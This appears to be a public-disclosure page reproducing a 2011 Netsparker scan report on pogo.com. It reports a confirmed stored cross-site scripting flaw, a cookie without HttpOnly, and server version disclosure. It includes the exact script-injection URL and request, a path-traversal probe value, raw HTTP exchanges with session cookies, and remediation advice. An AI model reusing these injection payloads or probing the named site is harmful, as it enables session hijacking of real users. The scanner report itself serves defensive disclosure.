Stored XSS, Stored Cross Site Scripting in pogo.com, CWE-79, CAPEC-86, DORK, GHDB

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Private Reporting of Security Research is preferred for Online Service Providers


Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.pogo.com/pogo-online-games/lp-Gene...
SCAN DATE
6/24/2011 8:34:07 AM
REPORT DATE
6/24/2011 1:07:57 PM
SCAN DURATION
00:00:11

Total Requests

Average Speed

req/sec.
3
identified
2
confirmed
0
critical
0
informational

SCAN SETTINGS

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
33 %
LOW
67 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/pogo-online-games/lp-GeneralPogo-withoutFB.jsp Permanent Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
Apache Coyote Version Disclosure No
Permanent Cross-site Scripting

Permanent Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1

Netsparker confirmed this vulnerability by analyzing the execution of injected JavaScript.

Permanent XSS (Cross-site Scripting) allows an attacker to execute dynamic scripts (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly and to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/Javascript/VbScript within the browser.

Permanent means that the attack will be stored in the back-end system. In normal XSS attacks an attack needs to e-mail the victim but in a permanent XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' session the attacker might attack an administrator to gain full control over the application.

Impact

Permanent XSS is a dangerous issue that has many exploitation vectors, some of which includes:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /pogo-online-games/lp-GeneralPogo-withoutFB.jsp

/pogo-online-games/lp-GeneralPogo-withoutFB.jsp CONFIRMED

http://www.pogo.com/pogo-online-games/lp-GeneralPogo-withoutFB.jsp?sourceid=../../../../../../../../..

Injection URL

http://www.pogo.com/pogo-online-games/lp-GeneralPogo-withoutFB.jsp?'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000013)%3C/script%3E

Injection Request

GET /pogo-online-games/lp-GeneralPogo-withoutFB.jsp?'"--></style></script><script>netsparker(0x000013)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pogo.com
Cookie: prod.JID=19BAF77FDEFD36249727AA4477431EC8.000129; com.pogo.unid=6618969805016078
Accept-Encoding: gzip, deflate

Identification Request

GET /pogo-online-games/lp-GeneralPogo-withoutFB.jsp?sourceid=../../../../../../../../../../proc/self/fd/2%00&ad=6429295350&kw=free+internet+games&sitetarget=3 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pogo.com
Cookie: prod.JID=19BAF77FDEFD36249727AA4477431EC8.000129; com.pogo.unid=6618969805016078
Accept-Encoding: gzip, deflate

Injection Response

HTTP/1.1 302 Moved Temporarily
Expires: 0
Cache-Control: max-age=0, private
Content-Language: en-US
Location: http://www.pogo.com/login/entry.jsp?site=pogo&redr=http%3A%2F%2Fwww.pogo.com%2Fpogo-online-games%2Flp-GeneralPogo-withoutFB.jsp%3F%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000013%29%3C%2Fscript%3E%3D
Content-Length: 0
Date: Fri, 24 Jun 2011 13:34:08 GMT
Server: Apache-Coyote/1.1


Identification Response

HTTP/1.1 404 /pogo-online-games/lp-GeneralPogo-withoutFB.jsp
Expires: 0
Cache-Control: max-age=0, private
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Content-Encoding:
Vary: Accept-Encoding
Date: Fri, 24 Jun 2011 13:34:08 GMT
Server: Apache-Coyote/1.1


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head> <title> Pogo: Error: Invalid URL </title> <link rel="StyleSheet" href="/v/Et6ziw/include/css/error.css"/> <link rel="StyleSheet" href="/v/FXnO9Q/include/css/shared/pogo/global.css"/> <link rel="StyleSheet" href="/v/FQI-kQ/include/css/shared/footer.css"/> <script language="Javascript"> callDoPageLoaded = false; function pageLoaded() { if (callDoPageLoaded) { doPageLoaded(); } } </script></head><body onLoad="pageLoaded();"> <!-- Omniture Tag version --><div style="position:absolute; visibility:hidden;"><script language="JavaScript" type="text/javascript">var s_account="eapogocom"; var inlineStatsTrackingEnabled=true;</script><script language="JavaScript" type="text/javascript" src="/v/FV5AYg/include/js/shared/omniture.js"></script><script language="JavaScript" type="text/javascript"><!--function OmnitureCustomLink(pageName, options) { var s=s_gi('eapogocom'); s.linkTrackEvents = 'None'; __omnitureExecuteTL(this, pageName, s, options);}function OmnitureEvent(pageName, events) { var s=s_gi('eapogocom'); s.linkTrackEvents = events; s.events = events; __omnitureExecuteTL(this, pageName, s);}function OmnitureCustomEvent(pageName, events, options) { var s=s_gi('eapogocom'); s.linkTrackEvents = events; s.events = events; __omnitureExecuteTL(this, pageName, s, options);}function OmnitureLightEvent(adName,onLoaded) { var t=s_gi('eapogocom'); t.eVar13 = adName; t.trackLight('lsccmp', 86400*30); }function __omnitureExecuteTL(source, pageName, s, options) { s.eVar2="pogo"; s.prop2="pogo"; s.campaign="..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Ffd%2F2%00"; s.channel="games"; s.prop8="Non Authenticated"; s.linkTrackVars='eVar2,prop2,campaign,channel,prop8,';for (var omnitureVar in options) { s[omnitureVar] = options[omnitureVar]; s.linkTrackVars=s.linkTrackVars+omnitureVar+',';}if (options != null){ if (options['abTestIdentifier'] != null) { s.prop6=options.abTestIdentifier; s.linkTrackVars=s.linkTrackVars + 'prop6,' }} if (s.linkTrackEvents != 'None') {s.linkTrackVars=s.linkTrackVars + 'events';} s.tl(source,'o',pageName);}s.referrer="http://www.pogo.com/pogo-online-games/lp-GeneralPogo-withoutFB.jsp?\'\"--></style></script><script>netsparker(0x000013)</script>";s.eVar2="pogo";s.pageName="ERROR: Invalid URL Page";s.prop2="pogo";s.campaign="..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Ffd%2F2%00";s.channel="games";s.prop7="POGO:games:error::ERROR: Invalid URL Page:Non Authenticated";s.prop8="Non Authenticated";if (typeof(omniture_java_version) != "undefined") { s.prop13=omniture_java_version; } if (typeof(omniture_plugin_used) != "undefined") { s.prop24=omniture_plugin_used; } s.eVar10=s.getTimeParting('h','-5','2011'); s.retrieveLightProfiles = 'lsccmp'; var s_code=s.t();if(s_code)document.write(s_code);//--></script></div><!-- end of Omniture Tag --><div class="clear20"></div><div align="center"> <img src="http://cdn.pogo.com/v/EhaoWQ/img/header/main/en_US/pogo/header-sec-auth-756.jpg" alt="" /><br /> <div id="bodyWrap"> <div class="whiteModule" id="pageHeader"> <b class="tL">&nbsp;</b><b class="tR">&nbsp;</b> <div class="moduleContent"> Oops, something is not right... </div> <b class="bL">&nbsp;</b><b class="bR">&nbsp;</b> </div> <div class="clear10"></div> <div class="whiteModule mainContent"> <b class="tL">&nbsp;</b><b class="tR">&nbsp;</b> <div class="moduleContent"> <h1>The page you requested could not be found.</h1><p>Please check the URL for proper spelling and capitalization. If you're having trouble finding a particular page try visiting the<br /><strong><a href="http://www.pogo.com/">Pogo.com home page</a></strong> or <strong><a href="http://www.pogo.com/sitemap">sitemap</a></strong><div class="clear20"></div> </div> <b class="bL">&nbsp;</b><b class="bR">&nbsp;</b> </div> </div> </div></body></html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /pogo-online-games/lp-GeneralPogo-withoutFB.jsp

/pogo-online-games/lp-GeneralPogo-withoutFB.jsp CONFIRMED

http://www.pogo.com/pogo-online-games/lp-GeneralPogo-withoutFB.jsp?sourceid=free_internet_games_Broa..

Identified Cookie

prod.JID

Request

GET /pogo-online-games/lp-GeneralPogo-withoutFB.jsp?sourceid=free_internet_games_Broad_Free_GOO_C0080_A0001_LP0001&ad=6429295350&kw=free+internet+games&sitetarget= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pogo.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Moved Temporarily
Expires: 0
Cache-Control: max-age=0, private
Content-Language: en-US
Set-Cookie: prod.JID=CE97F39CEDAFB70771A6684FCBE902E8.000305; Domain=.pogo.com; Path=/,com.pogo.unid=6618823776128948; Domain=.pogo.com; Expires=Wed, 22-Jun-2016 13:34:06 GMT; Path=/
Location: http://www.pogo.com/login/entry.jsp?sl=1&site=pogo&redr=http%3A%2F%2Fwww.pogo.com%2Fpogo-online-games%2Flp-GeneralPogo-withoutFB.jsp%3Fad%3D6429295350%26sourceid%3Dfree_internet_games_Broad_Free_GOO_C0080_A0001_LP0001%26kw%3Dfree%2Binternet%2Bgames%26sitetarget%3D
Content-Length: 0
Date: Fri, 24 Jun 2011 13:34:06 GMT
Server: Apache-Coyote/1.1


Apache Coyote Version Disclosure

Apache Coyote Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing Apache Coyote version in the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can look for specific security vulnerabilities for the version identified in the SERVER header. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /pogo-online-games/lp-GeneralPogo-withoutFB.jsp

/pogo-online-games/lp-GeneralPogo-withoutFB.jsp

http://www.pogo.com/pogo-online-games/lp-GeneralPogo-withoutFB.jsp?sourceid=free_internet_games_Broa..

Extracted Version

Apache-Coyote/1.1

Request

GET /pogo-online-games/lp-GeneralPogo-withoutFB.jsp?sourceid=free_internet_games_Broad_Free_GOO_C0080_A0001_LP0001&ad=6429295350&kw=free+internet+games&sitetarget= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pogo.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Moved Temporarily
Expires: 0
Cache-Control: max-age=0, private
Content-Language: en-US
Set-Cookie: prod.JID=CE97F39CEDAFB70771A6684FCBE902E8.000305; Domain=.pogo.com; Path=/,com.pogo.unid=6618823776128948; Domain=.pogo.com; Expires=Wed, 22-Jun-2016 13:34:06 GMT; Path=/
Location: http://www.pogo.com/login/entry.jsp?sl=1&site=pogo&redr=http%3A%2F%2Fwww.pogo.com%2Fpogo-online-games%2Flp-GeneralPogo-withoutFB.jsp%3Fad%3D6429295350%26sourceid%3Dfree_internet_games_Broad_Free_GOO_C0080_A0001_LP0001%26kw%3Dfree%2Binternet%2Bgames%26sitetarget%3D
Content-Length: 0
Date: Fri, 24 Jun 2011 13:34:06 GMT
Server: Apache-Coyote/1.1